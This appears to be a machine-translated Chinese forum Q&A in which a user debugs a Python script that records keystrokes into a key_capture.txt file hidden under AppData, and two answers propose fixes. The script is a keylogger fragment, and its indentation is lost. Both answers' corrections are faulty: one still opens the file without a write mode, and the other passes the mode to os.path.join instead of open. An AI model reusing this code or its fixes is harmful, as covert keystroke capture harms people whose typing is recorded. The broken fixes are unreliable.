我试图在%appdata%中写入文件,但是在运行代码时出现此错误:
with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\\Users\\George Mauricio\\AppData\\Local\\key_capture.txt'
这是我正在使用的代码:
from os import path
#there are some in between
def write_file(keys):
with open(os.path.join(key_dir+ "\\key_capture.txt")) as f:
for key in keys:
k = str(key).replace("'","")
Key.space
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
答案 0 :(得分:1)
1)。您打开文件的方式有误。
2)。正确的方法如下。
with open(os.path.join(key_dir, "key_capture.txt")) as f:
答案 1 :(得分:1)
只需以“ a”模式打开即可。如果文件不存在,则会创建该文件。
使用with open(os.path.join(key_dir+ "\\key_capture.txt",'a')) as f:
而不是使用open(os.path.join(key_dir+ "\\key_capture.txt")) as f: